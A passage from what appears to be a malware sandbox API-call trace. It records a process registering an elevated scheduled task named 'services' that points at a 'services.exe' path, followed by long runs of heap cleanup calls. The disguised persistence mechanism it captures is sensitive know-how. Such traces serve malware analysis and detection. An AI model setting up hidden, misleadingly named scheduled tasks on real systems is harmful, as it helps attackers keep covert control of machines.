wMatch=0x61) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0150.296] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0150.297] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0150.297] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0150.297] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0150.297] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0150.297] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0150.297] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0150.297] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0150.297] IUnknown:Release (This=0x265e0) returned 0x1 [0150.297] IUnknown:Release (This=0x27e10) returned 0x1 [0150.297] ITaskDefinition:get_Triggers (in: This=0x27d50, ppTriggers=0x17cca0 | out: ppTriggers=0x17cca0*=0x27f50) returned 0x0 [0150.297] ITriggerCollection:Create (in: This=0x27f50, Type=9, ppTrigger=0x17cc98 | out: ppTrigger=0x17cc98*=0x26650) returned 0x0 [0150.297] IUnknown:QueryInterface (in: This=0x26650, riid=0xfff91c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x17cc90 | out: ppvObject=0x17cc90*=0x26650) returned 0x0 [0150.297] IUnknown:Release (This=0x26650) returned 0x2 [0150.297] _vsnwprintf (in: _Buffer=0x17cbe0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x17cbb8 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0150.297] ITrigger:put_StartBoundary (This=0x26650, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0150.297] lstrlenW (lpString="") returned 0 [0150.297] lstrlenW (lpString="") returned 0 [0150.298] lstrlenW (lpString="") returned 0 [0150.298] lstrlenW (lpString="") returned 0 [0150.298] IUnknown:Release (This=0x26650) returned 0x1 [0150.298] IUnknown:Release (This=0x27f50) returned 0x1 [0150.298] ITaskDefinition:get_Settings (in: This=0x27d50, ppSettings=0x17d140 | out: ppSettings=0x17d140*=0x263c0) returned 0x0 [0150.298] lstrlenW (lpString="") returned 0 [0150.298] IUnknown:Release (This=0x263c0) returned 0x1 [0150.298] GetLocalTime (in: lpSystemTime=0x17cff8 | out: lpSystemTime=0x17cff8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xa, wMilliseconds=0x2ea)) [0150.299] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0150.299] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0150.299] GetUserNameW (in: lpBuffer=0x17d020, pcbBuffer=0x17d008 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x17d008) returned 1 [0150.299] ITaskDefinition:get_RegistrationInfo (in: This=0x27d50, ppRegistrationInfo=0x17cff0 | out: ppRegistrationInfo=0x17cff0*=0x27e90) returned 0x0 [0150.299] IRegistrationInfo:put_Author (This=0x27e90, Author="") returned 0x0 [0150.300] _vsnwprintf (in: _Buffer=0x17d020, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x17cfb8 | out: _Buffer="2022-08-06T02:19:10") returned 19 [0150.300] IRegistrationInfo:put_Date (This=0x27e90, Date="") returned 0x0 [0150.300] IUnknown:Release (This=0x27e90) returned 0x1 [0150.300] malloc (_Size=0x18) returned 0x27cb0 [0150.300] free (_Block=0x27cb0) [0150.300] lstrlenW (lpString="") returned 0 [0150.300] ITaskDefinition:get_Principal (in: This=0x27d50, ppPrincipal=0x17d210 | out: ppPrincipal=0x17d210*=0x26530) returned 0x0 [0150.300] IPrincipal:put_RunLevel (This=0x26530, RunLevel=1) returned 0x0 [0150.300] IUnknown:Release (This=0x26530) returned 0x1 [0150.300] malloc (_Size=0x18) returned 0x27cb0 [0150.300] ITaskFolder:RegisterTaskDefinition (in: This=0x27d00, Path="services", pDefinition=0x27d50, flags=6, UserId=0x17d290*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x17d2d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x17f1a0, varVal2=0xfe), LogonType=3, sddl=0x17d2b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x17d1b0 | out: ppTask=0x17d1b0*=0x268c0) returned 0x0 [0150.912] free (_Block=0x27cb0) [0150.912] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.912] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0150.912] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0150.912] GetProcessHeap () returned 0x2f0000 [0150.912] GetProcessHeap () returned 0x2f0000 [0150.912] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5c0) returned 1 [0150.912] GetProcessHeap () returned 0x2f0000 [0150.912] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d5c0) returned 0xe [0150.912] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5c0 | out: hHeap=0x2f0000) returned 1 [0150.912] GetProcessHeap () returned 0x2f0000 [0150.912] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x82) returned 0x329bd0 [0150.912] _vsnwprintf (in: _Buffer=0x17d8f0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x17d158 | out: _Buffer="SUCCESS: The scheduled task \"services\" has successfully been created.\n") returned 70 [0150.913] _fileno (_File=0x7fefed02ab0) returned -2 [0150.913] _errno () returned 0x24bb0 [0150.913] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0150.913] SetLastError (dwErrCode=0x6) [0150.913] lstrlenW (lpString="SUCCESS: The scheduled task \"services\" has successfully been created.\n") returned 70 [0150.913] GetConsoleOutputCP () returned 0x0 [0150.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"services\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0150.913] GetConsoleOutputCP () returned 0x0 [0150.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"services\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0xfffd1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"services\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0150.913] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 70 [0150.914] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0150.914] IUnknown:Release (This=0x268c0) returned 0x0 [0150.914] TaskScheduler:IUnknown:Release (This=0x27d50) returned 0x0 [0150.914] TaskScheduler:IUnknown:Release (This=0x27d00) returned 0x0 [0150.914] TaskScheduler:IUnknown:Release (This=0x27ad0) returned 0x1 [0150.914] lstrlenW (lpString="") returned 0 [0150.914] GetProcessHeap () returned 0x2f0000 [0150.914] GetProcessHeap () returned 0x2f0000 [0150.914] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c3e0) returned 1 [0150.914] GetProcessHeap () returned 0x2f0000 [0150.914] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c3e0) returned 0x1fc [0150.915] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c3e0 | out: hHeap=0x2f0000) returned 1 [0150.915] GetProcessHeap () returned 0x2f0000 [0150.915] GetProcessHeap () returned 0x2f0000 [0150.915] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d540) returned 1 [0150.915] GetProcessHeap () returned 0x2f0000 [0150.915] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d540) returned 0x16 [0150.915] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d540 | out: hHeap=0x2f0000) returned 1 [0150.915] GetProcessHeap () returned 0x2f0000 [0150.915] GetProcessHeap () returned 0x2f0000 [0150.915] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d520) returned 1 [0150.915] GetProcessHeap () returned 0x2f0000 [0150.915] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d520) returned 0x18 [0150.915] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d520 | out: hHeap=0x2f0000) returned 1 [0150.915] GetProcessHeap () returned 0x2f0000 [0150.915] GetProcessHeap () returned 0x2f0000 [0150.915] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd90) returned 1 [0150.915] GetProcessHeap () returned 0x2f0000 [0150.915] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd90) returned 0x20 [0150.916] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd90 | out: hHeap=0x2f0000) returned 1 [0150.916] GetProcessHeap () returned 0x2f0000 [0150.916] GetProcessHeap () returned 0x2f0000 [0150.916] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c030) returned 1 [0150.916] GetProcessHeap () returned 0x2f0000 [0150.916] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c030) returned 0xa0 [0150.916] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c030 | out: hHeap=0x2f0000) returned 1 [0150.916] GetProcessHeap () returned 0x2f0000 [0150.916] GetProcessHeap () returned 0x2f0000 [0150.916] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bab0) returned 1 [0150.916] GetProcessHeap () returned 0x2f0000 [0150.916] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30bab0) returned 0x18 [0150.916] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bab0 | out: hHeap=0x2f0000) returned 1 [0150.916] GetProcessHeap () returned 0x2f0000 [0150.916] GetProcessHeap () returned 0x2f0000 [0150.916] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb50) returned 1 [0150.916] GetProcessHeap () returned 0x2f0000 [0150.916] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cb50) returned 0x20 [0150.917] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb50 | out: hHeap=0x2f0000) returned 1 [0150.917] GetProcessHeap () returned 0x2f0000 [0150.917] GetProcessHeap () returned 0x2f0000 [0150.917] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c350) returned 1 [0150.917] GetProcessHeap () returned 0x2f0000 [0150.917] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c350) returned 0x80 [0150.917] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c350 | out: hHeap=0x2f0000) returned 1 [0150.917] GetProcessHeap () returned 0x2f0000 [0150.917] GetProcessHeap () returned 0x2f0000 [0150.917] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d560) returned 1 [0150.917] GetProcessHeap () returned 0x2f0000 [0150.917] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d560) returned 0x18 [0150.917] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d560 | out: hHeap=0x2f0000) returned 1 [0150.917] GetProcessHeap () returned 0x2f0000 [0150.917] GetProcessHeap () returned 0x2f0000 [0150.917] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb20) returned 1 [0150.917] GetProcessHeap () returned 0x2f0000 [0150.917] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cb20) returned 0x20 [0150.918] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb20 | out: hHeap=0x2f0000) returned 1 [0150.918] GetProcessHeap () returned 0x2f0000 [0150.918] GetProcessHeap () returned 0x2f0000 [0150.918] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dcd0) returned 1 [0150.918] GetProcessHeap () returned 0x2f0000 [0150.918] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30dcd0) returned 0x82 [0150.918] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dcd0 | out: hHeap=0x2f0000) returned 1 [0150.918] GetProcessHeap () returned 0x2f0000 [0150.918] GetProcessHeap () returned 0x2f0000 [0150.918] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d500) returned 1 [0150.918] GetProcessHeap () returned 0x2f0000 [0150.918] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d500) returned 0x18 [0150.919] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d500 | out: hHeap=0x2f0000) returned 1 [0150.919] GetProcessHeap () returned 0x2f0000 [0150.919] GetProcessHeap () returned 0x2f0000 [0150.919] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30caf0) returned 1 [0150.919] GetProcessHeap () returned 0x2f0000 [0150.919] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30caf0) returned 0x20 [0150.919] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30caf0 | out: hHeap=0x2f0000) returned 1 [0150.919] GetProcessHeap () returned 0x2f0000 [0150.919] GetProcessHeap () returned 0x2f0000 [0150.919] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c330) returned 1 [0150.919] GetProcessHeap () returned 0x2f0000 [0150.919] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c330) returned 0xe [0150.919] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c330 | out: hHeap=0x2f0000) returned 1 [0150.919] GetProcessHeap () returned 0x2f0000 [0150.919] GetProcessHeap () returned 0x2f0000 [0150.919] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c310) returned 1 [0150.919] GetProcessHeap () returned 0x2f0000 [0150.919] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c310) returned 0x18 [0150.919] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c310 | out: hHeap=0x2f0000) returned 1 [0150.919] GetProcessHeap () returned 0x2f0000 [0150.919] GetProcessHeap () returned 0x2f0000 [0150.919] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305d80) returned 1 [0150.919] GetProcessHeap () returned 0x2f0000 [0150.919] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305d80) returned 0x20 [0150.920] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305d80 | out: hHeap=0x2f0000) returned 1 [0150.920] GetProcessHeap () returned 0x2f0000 [0150.920] GetProcessHeap () returned 0x2f0000 [0150.920] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bc30) returned 1 [0150.920] GetProcessHeap () returned 0x2f0000 [0150.920] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30bc30) returned 0x208 [0150.920] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bc30 | out: hHeap=0x2f0000) returned 1 [0150.920] GetProcessHeap () returned 0x2f0000 [0150.920] GetProcessHeap () returned 0x2f0000 [0150.920] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba90) returned 1 [0150.920] GetProcessHeap () returned 0x2f0000 [0150.920] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ba90) returned 0x18 [0150.920] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba90 | out: hHeap=0x2f0000) returned 1 [0150.920] GetProcessHeap () returned 0x2f0000 [0150.920] GetProcessHeap () returned 0x2f0000 [0150.920] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c90) returned 1 [0150.920] GetProcessHeap () returned 0x2f0000 [0150.920] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305c90) returned 0x20 [0150.921] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c90 | out: hHeap=0x2f0000) returned 1 [0150.921] GetProcessHeap () returned 0x2f0000 [0150.921] GetProcessHeap () returned 0x2f0000 [0150.921] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d2c0) returned 1 [0150.921] GetProcessHeap () returned 0x2f0000 [0150.921] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d2c0) returned 0x200 [0150.921] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d2c0 | out: hHeap=0x2f0000) returned 1 [0150.921] GetProcessHeap () returned 0x2f0000 [0150.921] GetProcessHeap () returned 0x2f0000 [0150.921] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bad0) returned 1 [0150.921] GetProcessHeap () returned 0x2f0000 [0150.921] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30bad0) returned 0x18 [0150.921] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bad0 | out: hHeap=0x2f0000) returned 1 [0150.922] GetProcessHeap () returned 0x2f0000 [0150.922] GetProcessHeap () returned 0x2f0000 [0150.922] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c00) returned 1 [0150.922] GetProcessHeap () returned 0x2f0000 [0150.922] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305c00) returned 0x20 [0150.922] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c00 | out: hHeap=0x2f0000) returned 1 [0150.922] GetProcessHeap () returned 0x2f0000 [0150.922] GetProcessHeap () returned 0x2f0000 [0150.922] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c240) returned 1 [0150.922] GetProcessHeap () returned 0x2f0000 [0150.922] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c240) returned 0x14 [0150.922] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c240 | out: hHeap=0x2f0000) returned 1 [0150.922] GetProcessHeap () returned 0x2f0000 [0150.922] GetProcessHeap () returned 0x2f0000 [0150.922] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c220) returned 1 [0150.922] GetProcessHeap () returned 0x2f0000 [0150.922] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c220) returned 0x18 [0150.922] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c220 | out: hHeap=0x2f0000) returned 1 [0150.922] GetProcessHeap () returned 0x2f0000 [0150.922] GetProcessHeap () returned 0x2f0000 [0150.922] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b40) returned 1 [0150.922] GetProcessHeap () returned 0x2f0000 [0150.923] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305b40) returned 0x20 [0150.923] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b40 | out: hHeap=0x2f0000) returned 1 [0150.923] GetProcessHeap () returned 0x2f0000 [0150.923] GetProcessHeap () returned 0x2f0000 [0150.923] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c260) returned 1 [0150.923] GetProcessHeap () returned 0x2f0000 [0150.923] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c260) returned 0x16 [0150.923] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c260 | out: hHeap=0x2f0000) returned 1 [0150.923] GetProcessHeap () returned 0x2f0000 [0150.923] GetProcessHeap () returned 0x2f0000 [0150.923] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1e0) returned 1 [0150.923] GetProcessHeap () returned 0x2f0000 [0150.923] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c1e0) returned 0x18 [0150.923] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1e0 | out: hHeap=0x2f0000) returned 1 [0150.923] GetProcessHeap () returned 0x2f0000 [0150.923] GetProcessHeap () returned 0x2f0000 [0150.923] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b10) returned 1 [0150.923] GetProcessHeap () returned 0x2f0000 [0150.923] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305b10) returned 0x20 [0150.924] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b10 | out: hHeap=0x2f0000) returned 1 [0150.924] GetProcessHeap () returned 0x2f0000 [0150.924] GetProcessHeap () returned 0x2f0000 [0150.924] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba10) returned 1 [0150.924] GetProcessHeap () returned 0x2f0000 [0150.924] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ba10) returned 0x2 [0150.924] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba10 | out: hHeap=0x2f0000) returned 1 [0150.924] GetProcessHeap () returned 0x2f0000 [0150.924] GetProcessHeap () returned 0x2f0000 [0150.924] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305960) returned 1 [0150.924] GetProcessHeap () returned 0x2f0000 [0150.924] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305960) returned 0x20 [0150.924] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305960 | out: hHeap=0x2f0000) returned 1 [0150.924] GetProcessHeap () returned 0x2f0000 [0150.925] GetProcessHeap () returned 0x2f0000 [0150.925] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305990) returned 1 [0150.925] GetProcessHeap () returned 0x2f0000 [0150.925] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305990) returned 0x20 [0150.925] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305990 | out: hHeap=0x2f0000) returned 1 [0150.925] GetProcessHeap () returned 0x2f0000 [0150.925] GetProcessHeap () returned 0x2f0000 [0150.925] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3059c0) returned 1 [0150.925] GetProcessHeap () returned 0x2f0000 [0150.925] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x3059c0) returned 0x20 [0150.925] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3059c0 | out: hHeap=0x2f0000) returned 1 [0150.925] GetProcessHeap () returned 0x2f0000 [0150.925] GetProcessHeap () returned 0x2f0000 [0150.926] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3059f0) returned 1 [0150.926] GetProcessHeap () returned 0x2f0000 [0150.926] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x3059f0) returned 0x20 [0150.926] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3059f0 | out: hHeap=0x2f0000) returned 1 [0150.926] GetProcessHeap () returned 0x2f0000 [0150.926] GetProcessHeap () returned 0x2f0000 [0150.926] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb80) returned 1 [0150.926] GetProcessHeap () returned 0x2f0000 [0150.926] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cb80) returned 0x20 [0150.926] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb80 | out: hHeap=0x2f0000) returned 1 [0150.926] GetProcessHeap () returned 0x2f0000 [0150.926] GetProcessHeap () returned 0x2f0000 [0150.927] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d660) returned 1 [0150.927] GetProcessHeap () returned 0x2f0000 [0150.927] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d660) returned 0xc [0150.927] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d660 | out: hHeap=0x2f0000) returned 1 [0150.927] GetProcessHeap () returned 0x2f0000 [0150.927] GetProcessHeap () returned 0x2f0000 [0150.927] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cbb0) returned 1 [0150.927] GetProcessHeap () returned 0x2f0000 [0150.927] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cbb0) returned 0x20 [0150.927] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cbb0 | out: hHeap=0x2f0000) returned 1 [0150.927] GetProcessHeap () returned 0x2f0000 [0150.927] GetProcessHeap () returned 0x2f0000 [0150.927] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307a80) returned 1 [0150.927] GetProcessHeap () returned 0x2f0000 [0150.927] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x307a80) returned 0x30 [0150.928] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307a80 | out: hHeap=0x2f0000) returned 1 [0150.928] GetProcessHeap () returned 0x2f0000 [0150.928] GetProcessHeap () returned 0x2f0000 [0150.928] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cbe0) returned 1 [0150.928] GetProcessHeap () returned 0x2f0000 [0150.928] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cbe0) returned 0x20 [0150.928] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cbe0 | out: hHeap=0x2f0000) returned 1 [0150.928] GetProcessHeap () returned 0x2f0000 [0150.928] GetProcessHeap () returned 0x2f0000 [0150.928] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307ac0) returned 1 [0150.928] GetProcessHeap () returned 0x2f0000 [0150.929] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x307ac0) returned 0x30 [0150.929] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307ac0 | out: hHeap=0x2f0000) returned 1 [0150.929] GetProcessHeap () returned 0x2f0000 [0150.929] GetProcessHeap () returned 0x2f0000 [0150.929] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd60) returned 1 [0150.929] GetProcessHeap () returned 0x2f0000 [0150.929] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd60) returned 0x20 [0150.929] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd60 | out: hHeap=0x2f0000) returned 1 [0150.929] GetProcessHeap () returned 0x2f0000 [0150.929] GetProcessHeap () returned 0x2f0000 [0150.929] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d580) returned 1 [0150.930] GetProcessHeap () returned 0x2f0000 [0150.930] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d580) returned 0x16 [0150.930] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d580 | out: hHeap=0x2f0000) returned 1 [0150.930] GetProcessHeap () returned 0x2f0000 [0150.930] GetProcessHeap () returned 0x2f0000 [0150.930] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd30) returned 1 [0150.930] GetProcessHeap () returned 0x2f0000 [0150.930] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd30) returned 0x20 [0150.930] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd30 | out: hHeap=0x2f0000) returned 1 [0150.930] GetProcessHeap () returned 0x2f0000 [0150.930] GetProcessHeap () returned 0x2f0000 [0150.930] HeapValidate (hHeap=0x2f0000, 